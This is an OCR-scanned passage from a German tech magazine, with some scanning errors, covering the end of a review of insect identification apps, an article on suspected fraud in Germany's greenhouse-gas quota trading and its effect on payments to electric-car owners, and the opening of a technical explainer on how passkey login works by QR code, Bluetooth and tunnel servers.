auf ein Insekt, versucht die App, es live
zu bestimmen. Eine Anzeige im Kame-
rabild verrat, wie gut das klappt; opti-
malerweise knipst man, wenn die Art
Lerkennbar” ist. Blod nur, wenn das
Insekt vor dem perfekten Foto ent-
wischt. Fotos aus der Galerie lassen
sich mit Seek leider nicht zuschneiden.

© gute Fotoerkennung
© driangt Premiumversion auf

© rege Community
© beschrankt auf Falter

© Live-Bestimmung
© kein Nachbessern méglich

iNaturalist teilt neue Beobachtungen
ebenfalls mit der Community, sofern man
eingeloggt ist. Allerdings dauerte es in
unseren Tests oft mehrere Tage, bis aus
der weltweit aktiven iNaturalist-Commu-
nity eine Einschitzung zurtickkam. Auch
wenn die drei Apps nicht so geschmeidig
zubedienen sind wie die meisten anderen:
Esmachteinfach Spaf3, sich mitdenregen
Communitys auszutauschen und von
ihrem Schwarmwissen zu profitieren.

Tracking und Updates

Was Tracking und Berechtigungen an-
geht, sind alle Kandidaten laut der Platt-
form Exodus Privacy eher unauffillig.
Trackerfrei sind BUND Insekten Kosmos,
ID-Logics und Seek. Die anderen Apps
setzen Analyse- und teils Crash-Repor-
ting-Tracker ein, bei ObsIdentify findet
Exodus den Werbetracker Google AdMob,
obwohl die Anwendung augenscheinlich
keine Werbung enthilt und laut Daten-
schutzerkldrung auch keine Daten an
kommerzielle Parteien weitergibt. natur-
beobachtung.at nutzt fiir die Kartendar-
stellung das Software Development Kit
von Mapbox, das Exodus auch als Tracker
listet.
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Einige Entwickler planen grof3ere Up-
dates. ID-Logics hat fiir den Herbst ein
Spiel angekiindigt, mit dem Nutzer ihre
Artenkenntnis trainieren; im nachsten
Jahr soll ein Re-Design folgen. Die Macher
von naturbeobachtung.at wollen unter
anderem einen Bug beseitigen, der derzeit
das Nachtragen von Standortdaten einer
Sichtung verhindert. Schmetterlinge Os-
terreichs will ein ,,Machine-Learning-
Tool“ fiir die Bestimmung integrieren,
ObsIdentify soll Ende 2024 ein neues KI-
Modell mit mehr Arten bekommen. Bei
Naturblick sollen Nutzer demnachst unter
anderem auch Kéfer und Libellen bestim-
men konnen, die automatische Fotoerken-
nung von iNaturalist soll kiinftig auch off-
line funktionieren.

Fazit

Es kann sich also lohnen, immer mal wie-
der den Markt der Insektenbestimmungs-
Apps zu sondieren, auch wenn man seine
bevorzugte Anwendung schon gefunden
hat. Dass fast alle Kandidaten kostenfrei
sind, ladt erst recht zum Ausprobieren ein.
Die kostenpflichtige Vollversion von
BUND Insekten Kosmos bietet echten
Mehrwert, da sie nicht nur viel mehr In-

sektenarten kennt als das Basispaket, son-
dern diese auch automatisch anhand von
Fotos identifiziert. Bei Picture Insect da-
gegen darf man die Premiumversion ge-
trost ignorieren: Diese verspricht blof3
unkonkret ,,Zugriff auf mehr Inhalte und
Funktionen“ und einen omindsen ,, Exper-
tenberatungsdienst“; mehr Arten kennt
sie allerdings nicht.

Lieber sollte man sich auf die anderen,
von echten Experten betreuten Apps ver-
lassen. Seek eignet sich fiir die spontane
Beobachtung unterwegs, das schlanke
Naturblick fiir den Einsatz in der Stadt;
ObsIdentify und Seek punkten mit einem
spielerischen Ansatz mit Abzeichen und
Herausforderungen fiir den Anwender.
ID-Logics vermittelt Nutzern in aller
Ruhe, wie man Arten wissenschaftlich be-
stimmt, bei BUND Insekten Kosmos sto-
bern sie durch die informativen Artenpor-
trdts. Anfang August bietet sich ein erster
Anlass, die Apps auszuprobieren: der
NABU Insektensommer, eine Zahlaktion
in Deutschland (siehe Kasten).

(gref@ct.de) ct

Weitere Infos zu den Apps und zur NABU-
Mitmachaktion: ct.de/ygf5
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Angeschmiert

Betriigereien auf Kosten
von E-Auto-Besitzern

Wer abgasfrei mit dem E-Auto
fahrt, profitiert von CO,-Aus-
gleichszahlungen der Mineralol-
konzerne. Doch die Héhe der
jahrlich ausgeschiitteten THG-
Pramie ist im stidndigen Verfall.
Durch drohende Insolvenzen
konnte manch ein E-Auto-Besit-
zer leer ausgehen.

Von Dirk Kunde

ie Treibhausgasminderungsquote
(THG-Quote) soll klimaschédliche
Emissionen im Verkehrssektor reduzie-
ren. Sie verpflichtet die Mineralolwirt-

schaft, den Anteil CO,-verursachender
Kraftstoffe nach einer festgelegten Staffe-
lung Jahr fiir Jahr zu reduzieren oder an
anderer Stelle fiir einen Ausgleich zu sor-
gen (siehe Balkendiagramm auf'S. 118).
Hier kommen die Besitzer von E-Autosins
Spiel: Uber eine komplizierte Formel legt
der Gesetzgeber pauschal eine CO,-Er-
sparnis fest, die iiber ein elektrifiziertes
Fahrzeug in einem Jahr erzielt wird.
Dienstleister biindeln die CO_-Entlastung
vieler Kunden zu Quotenzertifikaten. Die
Anbieter verkaufen die Zertifikate an die
Olkonzerne und schiitten den Erlés an die
registrierten E-Auto-Besitzer in Form der
jahrlichen THG-Pramie aus.
E-Auto-Halter konnten sich 2022
noch iiber eine Uberweisung in Hohe von
300bis 400 Euro freuen, je nachdem, wie

hoch der Verwaltungskostenanteil ihres
Anbieters lag. Aktuell bekommt man
nicht einmal mehr 100 Euro pro Jahr aus-
bezahlt. Die Entwicklung widerspricht
jeder betriebswirtschaftlichen Erwartung.
Schlieflich steigt der Prozentsatz, den Mi-
neraldlkonzerne bei CO,-verursachenden
Kraftstoffen gegentiber dem Referenzjahr
2010 kompensieren miissen, von Jahr zu
Jahr an. Im Jahr 2023 waren es 8 Prozent,
in diesem Jahr sind es 9,25 Prozent. Bis
2030 klettert der Wert auf 25 Prozent.

Vier Wege nach Rom

Grundlage ist die Erneuerbare-Energien-
Richtlinie (RED II) der EU. Danach soll
der Anteil erneuerbarer Energien in den
Sektoren Strom, Warme sowie Transport
bis 2030 auf zunichst 32,5 Prozent, in
einer kommenden Verscharfung auf 42,5
Prozent steigen. Der Verkehrssektor spielt
bei der Reduktion klimaschadlicher Ab-
gase eine entscheidende Rolle. Die Mine-
ralolkonzerne sind dabei Dreh-und Angel-
punkt, denn sie bringen Kraftstoffe in den
Handel.

Dabeiwird nicht die Menge der Kraft-
stoffe begrenzt, sondern die schiadlichen
Abgase, die bei der Verbrennung freige-
setzt werden. Um die THG-Quote zu er-
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fillen, haben Mineral6lkonzerne vier

Moglichkeiten:

1. Sie kaufen tiber Vermittler Zertifikate
fiir die CO,-Einsparung etwa durch
private E-Auto-Halter.

2. Der Verkaufvon Strom fiir E-Autos an
Ladesaulen der Konzerne zihlt eben-
falls fiir die Quote.

3. Angerechnet wird auch der Verkauf
von Biokraftstoffen wie E5 und E10,
Biodiesel und HVO 100.

4. Dariiber hinaus lassen sich CO,-min-
dernde Umweltschutzprojekte im Aus-
land - sogenannte UER-Projekte - auf
die Quote in Deutschland anrechnen.

Vom ersten Weg profitieren E-Auto-Besit-

zer Uiber die THG-Pramie. Doch eine Flut

von CO,-Zertifikaten aus anderen Berei-
chen lasst die Preise verfallen.

Hiihnerstall statt Heizkessel

Die Auflistung macht deutlich, das Regel-
werk der THG-Quote ist komplex. Doch
ein mutmafllicher Grund fiir den Preisver-
fallist schnell erklart: Betrug bei den Pro-
jektenim Ausland. ,,Es gibt nicht bei allen
Projekten konkrete Beweise, allerdings
liegen viele Verdachtsmomente vor“, sagt
Sandra Rostek, Leiterin Politik beim Bun-
desverband Erneuerbare Energie e. V. im
Gesprich mit c’t. Sehr offensichtlich ist
der Fall eines Hiihnerstalls in China, der
fiir eine CO,-Einsparung in Héhe von 25,7
Millionen Tonnen verantwortlich sein soll.

Dazu muss man wissen, was UER-
Projekte sind. Das Akronym steht fiir Up-
stream Emission Reduction. Damit kon-
nen Mineralolkonzerne Mafdnahmen im
Ausland, die den CO,-Ausstof bei der
Erdolforderung senken, in Deutschland
anrechnen lassen. Ein Beispiel ist das Pro-
jekt HYOA. Die Details kann man 6ffent-
lich in der Emissionshandelsstelle des
Umweltbundesamts einsehen (siehe ct.
de/ylv7). Hier soll der Betrieb mehrerer
Heizkessel auf einem Olfeld im chinesi-
schen Shandong von Erdol auf klima-
freundlicheres Erdgas umgestellt worden
sein. ,Federfiihrender Partner” ist die
Shell Trading Rotterdam B.V.

Gibt man die Geodaten des Olfelds
aus dem sogenannten Verification Report
bei Google Maps ein, sieht man in der Sa-
tellitenansicht einlang gezogenes Gebau-
de am Rande einer Wohnsiedlung. Fiir
einen Fernsehbeitragim Mai 2024 schick-
te Frontal 21 die ZDF-Korrespondentin in
China zu dieser Adresse. Sie fand einen
leerstehenden Hiihnerstall, aber keine
Heizkessel.
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Zustindig fiir die Anerkennung der
Quotenist das Umweltbundesamt (UBA).
Bei einer Befragung durch den Umwelt-
ausschuss des Deutschen Bundestages
Mitte Juni raumte UBA-Chef Dirk Messner
ein, dass es sich nicht um einzelne Betrugs-
falle, sondern um ein Betrugssystem
handelt. Der Druck aus Verbanden und
Medien veranlasste das UBA zu einer er-
neuten Priifung. Ergebnis: Von 60 UER-
Projekten wurden zwei riickwirkend ge-
strichen und zwei in ihrer Antragsphase
gestoppt. Weitere 36 hilt das UBA fiir ver-
déchtig.

»Man hat es den Betriigern zu einfach
gemacht. Es gibt keine Vor-Ort-Kontrol-
len, keinerlei Sanktionen bei Verstofden
und auch keine Rechtsfolge fiir die quoten-
verpflichteten Mineralolunternehmen.
Dasist quasi eine Einladung zum Betrug®,
sagt Rostek. Die Antrage beim UBA wer-
den von sogenannten Validierungsunter-
nehmen erstellt, die simtliche Projekt-
unterlagen priifen. Auffillig ist, dass bei
den Antridgen zwei Firmen immer wieder
auftauchen. Bei 10 der 40 verdéchtigen
Fille hatte laut Frontal 21 bereits ein Blick
auf die Satellitenbilder Zweifel geweckt,
obdie beschriebene Anlage dort steht, tat-
sdchlich neu ist oder tiberhaupt existiert.
Gegeniiber Frontal 21 wiesen die Zertifi-
zierer die Vorwtirfe zuriick.

Dass es auch anders geht, zeigt Oster-
reich. Bei der Umsetzung der RED-Richt-
linie war die Konstruktion der UER-Pro-
jekte der Regierung zu nebulds, sodass

Betrugsverdacht bei THG-Quote | Wissen

€€ kompakt

e Die jahrliche THG-Pramie flr
E-Auto-Besitzer ist stark gesunken.

e Experten sehen Betrligereien mit
CO,-Zertifikaten als Ursache.

¢ Bei Insolvenz eines Zwischen-
handlers verfallt die Pramie fur
den Kunden.

man sie bereits zu Jahresbeginn gestrichen
hat. Das sieht man hierzulande inzwischen
auch so: UER-Projekte werden ab 2025
nicht mehr beriicksichtigt.

Doch nicht nur bei UER-Projekten
liegt ein Betrugsverdacht auf der Hand,
auch bei der Anrechnung von Biokraftstof-
fen drangt er sich auf. Hier geht es vor
allem um sogenannte ,fortschrittliche
Kraftstoffe“. Das ist quasi die zweite Ge-
neration der Biokraftstoffe. In der ersten
Generation kamen Raps, Getreide und
Palmol zum Einsatz, die auch als Tierfutter
oder in der Lebensmittelindustrie hitten
verwendet werden konnen. ,,Teller statt
Tank® lautet die Kurzform der Kritik an
diesen Kraftstoffen.

Bei den ,,Fortschrittlichen kommen
nur Abfille, Reststoffe sowie Waldholz
zum Einsatz. So wird beispielsweise aus
altem Frittenfett die neue Form des Bio-
diesels HVO 100 (100 % Hydrotreated
Vegetable Oil) produziert. Laut Zahlen des
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kunzfristigen Schwankungen

Konstanter Verfall: Die THG-Pramie fir E-Auto-Halter fallt laut Bundesverband THG

Quote immer niedriger aus.
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Zolls lag die angerechnete HVO-Energie-
menge im Jahr 2020 bei 4,4 Millionen
Gigajoule. 2022 waren es bereits 14,2 Mil-
lionen Gigajoule.

Aus Palmol mach Frittenfett

Als Erklarung dieser Entwicklung bieten
sich zwei Moglichkeiten an: Entweder stei-
gendie Mengen an Frittierdl sowie dessen
liickenlose Sammlung fiir die Hydrierung
zu Kraftstoff vor allem in Asien sprunghaft
an. Oder: Auch hier wird betrogen. Inletz-
terem Fall wird neues Palmol aus Indone-
sien und Malaysia beim Transport iiber
Chinain dortigen Hifen mit altem Frittie-
rol gemischt oder vollstindig zu Biokraft-
stoffumdeklariert. Beweise fiir den Betrug
zu sammeln, scheitert in beiden Féllen
daran, dass unabhangige Priiforganisatio-
nen oder deutsche Behordendelegationen
nicht einfach in China einreisen konnen.
Kommt der fortschrittliche Biokraftstoff
in Deutschland an, ldsst sich nicht mehr
feststellen, welches Fett fiir die Hydrie-
rung verwendet wurde.

Die Betrugsversuche lohnen sich, weil
fortschrittliche Kraftstoffe in der komple-
xen THG-Quotenregelung mehrfach an-
gerechnet werden. Der Bundesverband
Erneuerbare Energie schitzt, dass eine
Tonne davon eine Quotenwirkung von
sechs Tonnen ,,klassischem® Biokraftstoff
entfaltet.

Der zeitliche Verlauf der mutma#li-
chen Betriigereien lasse sich am Verfall der
THG-Pramie fiir E-Autos ablesen, sagt
Wilko Eggers, Mitgriinder und Chief Stra-
tegy Officer bei Zusammen Stromen in
Hamburg, gegeniiber ¢’t. Das Unterneh-
men betreibt die Vermittlungsplattform
»Geld fiir eAuto”. Anfang 2023 wurden die

Mengensteigerungen bei fortschrittlichen
Kraftstoffen publik. Die Hohe der THG-
Pramie sackte ein. Da die Masche nun
bekannt ist, rechnen Marktteilnehmer mit
einer Reaktion der Behorden und einem
Ende der Umdeklarierung. Doch bislang
geschah nichts.

Die Industrie sieht sich nichtin der Ver-
antwortung: ,Die THG-Quote wurde als
Marktinstrument geschaffen, um durch
Einsatz erneuerbarer Kraftstoffe kosten-
effizient CO,-Minderungen im Verkehr zu
erzielen. Niedrige THG-Quotenpreise sind
weiterhinim Sinne des Gesetzgebers, nicht
moglichst hohe Auszahlungen an E-Auto-
Fahrer. Esistjetzt die Aufgabe der Kontroll-
instanzen zu priifen, inwieweit Betrug im
Ausland durch nicht rechtmifig eingefiihr-
te Produkte vorliegt®, sagt ein Sprecher des
Wirtschaftsverbands Fuelsund Energiee.V.
gegeniiber c’t.

Aber selbst wenn ein vom Bundesver-
band Erneuerbare Energie gefordertes Mo-
ratorium, also ein Aussetzen der Quoten-
anrechnung kime, hitte daskaum Auswir-
kungen auf die THG-Pramie. ,,Das liegt an
der massiven Ubererfiillung®, sagt Maxi-
milian Stein, Sprecher des Bundesverbands
THG-Quote im Gesprich mit ¢’t. Nach Be-
rechnungen des Verbands, der Dienstleis-
ter fiir den Quotenhandel vertritt, haben
Mineralolfirmen fiir 2023 schatzungsweise
37 Prozent mehr CO,-Menge kompensiert
als gefordert. Mit UER-Projekten sowie
umdeKklarierten Kraftstoffen war das so-
wohl einfach als auch giinstig. Die tiber-
schiissigen Mengen diirfen die Unterneh-
men ins kommende Jahr schieben.

Mittelfristig diirfte durch den Wegtall
der UER-Projekte, steigende Quotenver-
pflichtungen sowie 6ffentlichen Druck die

Jahrliche Reduktionsvorgaben

an Mineralolindustrie

Die Mineraldlkonzerne missen als ,Inverkehrbringer” den
CO,-Gehalt pro verkaufter Energieeinheit kompensieren.

Bezugsjahr ist das Jahr 2010.

Kraftstoffe in Prozent]

[Reduktion CO,-verursachender
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THG-Pramie wieder steigen. Davon ist
auch Maximilian Stein iiberzeugt. Doch
aktuell sei das Geschift fiir Vermittlungs-
plattformen schwierig: ,,Mir sagen meine
Abnehmer, dass sie in diesem Jahr keine
Quote mehr kaufen®, sagt Stein.

Stein halt eine Marktbereinigung in
seiner Branche fiir wahrscheinlich, wenn
bei etlichen Anbietern tiber mehrere Mo-
nate kein Geschift stattfindet. Auf der
anderen Seite dauert die Bearbeitung der
Bewilligungen durch das UBA immer lan-
ger. ,Die ersten Quotenbescheide fiir
2024 kamen bei uns im Juni an. Die Be-
arbeitung im Umweltbundesamt wird hof-
fentlich wieder ziigiger als sechs Monate
Bearbeitungszeit. Doch bei dem Druck
von beiden Seiten auf die Vermittlungs-
plattformen ist eine Marktbereinigung
unausweichlich®, sagt Stein. Muss ein Ver-
mittler aufgeben, ist das ein Risiko fiir E-
Auto-Halter: Im Jahr der Insolvenzist ihre
Ausschiittung mit grof3er Wahrscheinlich-
keit in Gefahr.

Weniger Vermittlungsplattformen
diirften zwar das Geschift der Mineraldl-
konzerne vereinfachen, doch ein positiver
Effekt auf den Preis der THG-Quote diirf-
te ausbleiben. Der Preis wird nicht an einer
Borse mit vielen Teilnehmern nach An-
gebot und Nachfrage ermittelt. Er basiert
auf bilateralen Verhandlungen zwischen
Vermittlern und Aufkaufern. Preisinfor-
mationsdienste erfragen die Preise und
errechnen daraus einen Mittelwert. Doch
in einem Oligopol mit wenig Nachfragern
liegt die Macht eindeutig bei den Mineral-
olkonzernen. In Deutschland vereinen
Shell und BP/Aral etwas iiber 40 Prozent
Marktanteil auf sich. Die Konzerne ver-
offentlichen regelmiflig An- und Ver-
kaufspreise fiir den Ausgleich der Quote.
Fiir die Anbieter von CO,-Zertifikaten be-
deutet das: Friss oder stirb.

Mit 600 Euro pro verfehlter Tonne
CO,-Einsparung oder Reduktion droht
den Olkonzernen eine empfindliche Sank-
tion, wenn sie ihre Quote nicht erfiillen.
Derzeit kennt der Markt jedoch nur Ver-
lierer: E-Auto-Fahrer erhalten wenig Geld
fiir abgasfreies Fahren. Der Staat, in die-
sem Fall das Umweltbundesamt, wirkt wie
ein Papiertiger. Was Verbandssprecher
Stein dabei argert: ,,Da haben sich invol-
vierte Parteien falsch verhalten und die
Grundidee der THG-Quote untergraben.
Traurig daran ist, dass im Kopf der Ver-
braucher hangenbleiben wird, der Zertifi-
katehandel funktioniert nicht.”

(sha@ct.de) ct
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Wissen | Passkeys: So funktionieren die QR-Codes

Universalschluissel

Deep Dive: Passkeys per QR-Code nutzen

Per QR-Code konnen Sie die
Passkeys auf lhrem Smartphone
einfach und sicher auch am
Rechner zum Einloggen verwen-
den. Wie unsere Tour hinter die
Kulissen zeigt, spielt der QR-
Code dabei jedoch nur eine klei-
ne Rolle: Die Entwickler haben
sich einiges einfallen lassen und
mehrere Ubertragungstechni-
ken kombiniert, um das schein-
bar simple Verfahren sicher und
robust zu gestalten.

Von Ronald Eikenberg

120

D as Einloggen per Passkey ist erfreulich
einfach: Statt ein langes und kompli-
ziertes Passwort einzugeben, geniigt es,
mit Fingerabdruck-
oder Gesichtsscan
zu bestdtigen, dass
man sich auf einer
Website einloggen
will. Das noch recht
junge Authentifizierungsverfahrenist nicht
nur komfortabler, sondern auch deutlich
sicherer als das veraltete Konzept Pass-
wort.

Wir haben schon mehrfach iiber Pass-
keys berichtet, zuletzt ausfithrlich in ¢’t
8/2024 [1]. Einer der Artikel der Ausgabe
geht detailliert unter anderem auf die

ct Hardcore

Kryptografie ein, die fiir die notige Sicher-
heit sorgt [2]. Im aktuellen Artikel tauchen
wir erneut ein, denn einem Aspekt haben
wir bislang kaum Beachtung geschenkt:
den QR-Codes, mit denen man Passkeys
geriteiibergreifend verwenden kann.
Einen solchen QR-Code kann zum
Beispiel der Rechner anzeigen, wenn man
auf einer Website die Passkey-Authentfi-
zierung startet. Scannt man den Code mit
dem Smartphone (oder Tablet), kann der
Rechner die dort gespeicherten Passkeys
verwenden, anstelle eines FIDO2-Sticks
oder der auf dem
Rechner gespeicher-
ten Passkeys [3].
Auf dem Mobilgerit
muss man der Nut-
zung nur noch per
PIN oder Biometrie zustimmen. Das klappt
sogar auf fremden Rechnern, mit denen
das Mobilgerit noch nie Kontakt hatte.
Vom Anzeigen des QR-Codes bis zum
erfolgreichen Login vergehen nur wenige
Augenblicke. Fiir diesen vermeintlich sehr
einfachen Prozess mussten sich die anden
FIDO-Standards beteiligten Entwickler
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€€ kompakt

¢ Passkeys auf Smartphones und Tab-
lets kdnnen Sie einfach fiir andere
Geréte freigeben, zum Beispiel fiir
Ihren Rechner.

e Hierzu zeigt der Rechner einen QR-
Code an, den Sie mit dem Smart-
phone scannen.

¢ Das st6Bt einen aufwendigen Pro-
zess an, der zunachst tber Blue-
tooth und dann Uber externe Server
lauft.

¢ Das soll Angriffe wie QR-Code-Phi-
shing verhindern und Verbindungs-
probleme minimieren.

jedoch einiges einfallen lassen, damit
unter dem Komfort nicht die Sicherheit
leidet. Eine potenzielle Gefahr sind Troja-
ner: Lauert auf dem Rechner ein Schid-
ling, darf dieser unter keinen Umstdnden
die Passkeys des Smartphones abgreifen
konnen. Ein weiteres Risiko ist QR-Code-
Phishing: Ein Angreifer konnte seinem
Opfer in spe einen eigenen QR-Code pri-
sentieren, mit der Aufforderung, diesen zu
scannen. Ohne weitere Schutzmafinah-
menwiirde der Angreifer auf'seinem Rech-
ner mit dem Passkey des Opfers eingeloggt
werden, wenn der Code gescannt wird.

Deshalb ist hinter den Kulissen viel
los: Eine geschickte Kombination ver-
schiedener Ubertragungstechniken sorgt
dafiir, dass die QR-Code-Methode dhnlich
sicher ist wie die Verwendung von Pass-
keys, die auf einem FIDO2-Stick gespei-
chert sind. Auch wenn der QR-Code das
prominenteste Merkmal dieses Verfahrens
ist, spielt er nur eine sehr kleine Rolle. Er
liefert dem Smartphone lediglich die no-
tigen Verbindungsdaten.

Das Smartphone antwortet daraufper
Bluetooth, wodurch der Rechner iiberprii-
fen kann, dass es sich tatsachlich in seiner
Niahe befindet. Das verhindert Phishing,
denninaller Regelsitzt der Angreifer nicht
im Nachbarbiiro, sondern irgendwo auf
der Welt, weit aufderhalb der Bluetooth-
Reichweite. Er kann die Antwort des
Smartphones nicht empfangen.

Weiter gehts nicht etwa tber Blue-
tooth, sondern tiber einen Tunnelserver
im Internet. Dariiber kann der Rechner
das Smartphone als externen FIDO2-
Authenticator ansprechen, dhnlich einem
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FIDO2-Stick. Dabei geht niemals der Pass-
key durch die Leitung, das Smartphone
wickelt die kryptografische Authentifizie-
rung stattdessen fiir den Rechner ab. Ein
Trojaner auf dem PC kann deshalb nie-
mals auf die Passkeys zugreifen. Bei der
Passwortauthentifizierung wéren Sie dem
Schidling hingegen schutzlos ausgelie-
fert, er kann das Passwort einfach beim
Eintippen per Keylogging mitschreiben.

Einwunder Punkt sind jedoch weiter-
hin Session-Cookies, die auch ein Passkey
nicht schiitzen kann. Wenn Sie auf einem
Rechner arbeiten, dem Sie nicht vertrau-
en, sollten Sie sich deshalb von den Web-
sites ausloggen, wenn Sie den Rechner
verlassen. So beenden Sie die aktiven Sit-
zungen und die Session-Cookies verlieren
ihre Giiltigkeit. Damit sind sie fiir einen
Angreifer wertlos.

Unter die Haube geschaut

DasZusammenspiel zwischen den ganzen
Komponenten ist komplex: Um am Rech-
ner das Smartphone als Passkey-Authen-
ticator zu verwenden, starten Sie auf'einer
Website die FIDO2-Authentifizierung,
indem Sie einen neuen Passkey erstellen
oder sich mit einem vorhandenen einlog-
gen wollen. Dann setzt die Website den
Vorgang im Hintergrund per JavaScript mit
dem WebAuthn-API (Spezifikation siehe
ct.de/yca9) in Gang.

Das konnen Sie zum Beispiel auf der
Demoseite passkey.org ausprobieren, so-
fern Betriebssystem oder Browser das Pass-
key-Verfahren im vollen Umfang unterstiit-
zen. Gute Karten haben Sie generell mit
Google Chrome und Apple Safari. Firefox
ist auf die Passkey-Unterstiitzung des Be-
triebssystems angewiesen, die Windows
und macOS bieten, nicht aber Linux.

Anschlief3end konnen Sie auswéhlen,
welches Gerit Sie flir Passkeys verwenden
mochten: den Rechner selbst, einen
FIDO2-Stick oder ein iPhone, iPad oder
Android-Gerit. Wenn Sie sich fiir die Mo-
bilgerite entscheiden, erscheint darauthin
ein QR-Code auf dem Bildschirm Ihres
Rechners, den Sie mit der Kamera IThres
Smartphones oder Tablets scannen. Die
Kamera-App des Mobilgerits erkennt
automatisch, dass es sich um einen Pass-
key-Code handelt, und bietet Thnen an,
mit der Authentifizierung fortzufahren.

QR-Code dekodiert

Hinter dem QR-Code steckt keine schwar-
ze Magie, wie man erkennt, wenn man den
Code mit einer handelsiiblichen QR-Co-

Gesichtserkennunag,
Fingerabdruck, PIN ader
Sicherheitsschlissel

Per QR-Code kénnen Sie lhr Smart-
phone oder Tablet verwenden, um sich
am Rechner per Passkey einzuloggen.

de-Scanner-App liest. Im Code stehen
lediglich Daten nach dem folgenden Mus-
ter: FIDO:/188104583723091585089055190007
097[..]. Die Daten beginnen stets mit dem
Prafix FID0:/, an dem der Zweck eindeutig
ablesbar ist. Was darauf folgt, ist nicht so
offensichtlich, denn es handelt sich um

! - 5 Wmm-smma..,.

iPhone, iPad ode

Scannen Sie die

¥ Andl’oid- Gerét

Die Daten in den fiir Passkeys genutzten
QR-Codes beginnen mit dem Préafix
FIDO:/. Daran erkennt die Kamera-App
automatisch, worum es geht.

121



Wissen | Passkeys: So funktionieren die QR-Codes

@ windows-Sicherheit
Bluetooth aktivieren?

Um sich mit diesem Hauptschitssel anzumelden, missen wir
Bluetooth vorubergehend aktivieren. Wir deaktivieren es wieder,

wenn wir fertig sind

Bluetooth ist deaktiviert

Anderes Gerat auswiahlen

Abbrechen

Bluetooth aktivieren |

Dass fiir die Passkey-Authenfizierung
per QR-Code im Hintergrund Bluetooth
im Einsatz ist, bekommt man nur mit,
wenn es abgeschaltet ist.

eine scheinbar zufillige Kolonne von 168
Ziffern, hier gekiirzt wiedergegeben.

Was es damit auf'sich hat, istim Client
to Authenticator Protocol (CTAP, siehe
ct.de/yca9) der FIDO Alliance, dem Kon-
sortium hinter FIDO2und Passkeys, spezi-
fiziert. Bei CTAP handelt es sich, neben
WebAuthn, um das zweite wichtige Proto-
koll bei Passkeys: Wihrend die Kommu-
nikation zwischen Website und Browser
iiber WebAuthn geregelt ist, sprechen
Browser beziehungsweise Betriebssystem
und Authenticator CTAP miteinander.

CTAP unterstiitzt in der aktuellen Ver-
sion 2.2 diverse Verbindungswege wie
USB, NFC und Bluetooth. Neu st die QR-
Code-Methode. Es handelt sich dabei um
ein sogenanntes Hybridverfahren, in der
Spezifikation wird es separat als ,,QR-ini-
tiated Transaction® aufgefiihrt.

Laut Spezifikation handelt es sich bei
der Zahlenkolonne aus dem QR-Code um
ziffernkodierte Daten. Diese kann man in
eine Byte-Sequenz konvertieren und an-
schliefdend in ein CBOR-Objekt dekodie-
ren. Bei CBOR (Concise Binary Object
Representation) handelt es sich um ein
Objektdatenformat, dasan JSON erinnert,
jedoch kompakterist und auch Bindrdaten
aufnehmen kann.

Bei dem oben genannten Beispiel
kommen nach dem Dekodieren folgende
Daten heraus:

"Q": "03d4423e646df4afcchssab. ..,
"1": "4286330d6a7d8f0a87aec82...",

ll2|l: 2’

"3": 1718716312,
"4": true,

ll5|l: llmcll
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Zunichst ein kurzer Uberblick, bevor es
andie Details geht: Bei dem Wert "0" han-
deltes sichum einen komprimierten Pub-
lic Key (33 Byte), den der Rechner vorgibt.
Zur besseren Darstellung bilden wir ihn
hexadezimal in diesem Artikel ab. Wert
"1 steht fiir ein zufillig generiertes Ge-
heimnis, das QR-Secret (16 Byte). Dieses
Shared Secret wird gleich wichtig. Der
Wert "2" gibt vor, wie viele Tunnelserver
der Rechner kennt, auch dazu spiter mehr.

"3" ist schlicht der aktuelle Unix-
Timestamp und mit dem Wert "4" signa-
lisiert der Rechner, ob er eine dauerhafte
Bindung mit dem Smartphone eingehen
kann, um das Scannen des QR-Codes
kiinftig zu iberspringen. Das "mc" bei Wert
"5" steht flir ,,makeCredential“-es soll ein
neuer Passkey erstellt werden. Soll statt-
dessen ein bereits vorhandener Passkey
zum Einloggen genutzt werden, steht dort
"ga" flir ,,getAssertion®.

Antwort liber Bluetooth

Nachdem das Smartphone den QR-Code
gescannt hat, muss es Kontakt zum Rech-
neraufnehmen. Hierzu nutzt es Bluetooth,
in beiden Geriten muss die Funktechnik
also aktiv sein. Das Smartphone baut je-
doch keine Verbindung auf, sondern ver-
schickt lediglich ein BLE-Advertisement
(Bluetooth Low Energy) als Broadcast. Es

enthalt eine UUID, die den Empfingern
verrdt, worum es geht.

So ein Advertisement ist eine ver-
gleichsweise einfache Datenstruktur, wo-
durch das Verfahren sehr robust ist. Das
istentscheidend, weil Passkeys hersteller-
und betriebssystemiibergreifend funktio-
nieren miissen. Verbindungsprobleme
aufgrund verbuggter Bluetooth-Imple-
mentierungen und Inkompatibilitdten
sind daher sehr unwahrscheinlich.

Das Advertisement kann jeder in
Reichweite empfangen, die 20 Byte grofde
Payload istjedoch symmetrisch verschliis-
selt. Der dafiir verwendete Kryptoschliis-
sel wird mit einer Key Derivation Function
(KDF) von dem QR-Secret abgeleitet, das
der Rechnervorgegeben hat (Wert "1" im
QR-Code). So ist gewihrleistet, dass nur
der Rechner, der den QR-Code generiert
hat, den Inhalt der Bluetooth-Nachricht
entschliisseln kann.

Die Bluetooth-Ubertragung ist wie
schon erwdhnt ein wichtiger Teil des
Schutzkonzepts, das QR-Code-Phishing
vorbeugen soll: Ein Angreifer konnte etwa
aufdie Idee kommen, auf seinem Rechner
die Passkey-Authentifizierung zu starten
und den QR-Code dann an sein Opfer in
spe zu mailen, mit der Aufforderung, den
Code zu scannen. Wiirde das Opfer darauf
hereinfallen, wire der Angreifer anschlie-

Passkey-Authentifizierung per QR-Code

Eine Besonderheit von Passkeys ist, dass man sie einfach und sicher per QR-Code
mit anderen Geraten verwenden kann. So kann man etwa die auf dem Smartphone
gespeicherten Passkeys am Rechner nutzen. Der QR-Code liefert dem Smartphone
nur die fir den weiteren Austausch noétigen Verbindungsdaten

AnschlieBend beweist es dem Rechner durch ein BLE-Advertisement, dass es

sich in Funkreichweite befindet

. Der weitere Austausch geschieht verschlisselt

Uber einen speziellen Tunnelserver im Internet, um Bluetooth-Probleme zwischen

Geraten verschiedener Hersteller zu umgehen

. Die eigentliche Passkey-Authen-

tifizierung wird durch die getunnelte Verbindung schlieBlich Gber CTAP2 durch-
gefihrt, das auch bei FIDO2-Sticks verwendet wird.

Smartphone scannt QR-Code

Smartphone beweist Anwesenheit per Bluetooth

Authenticator-Verbindung Uber Tunnelserver (online)

(S]] B

< >

I
]
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end mit dem Passkey seines Opfers ein-
geloggt - gibe es den Umweg iiber Blue-
tooth nicht. Der Rechner des Angreifers
kann das Bluetooth-Advertisement nicht
empfangen und entschliisseln - zumin-
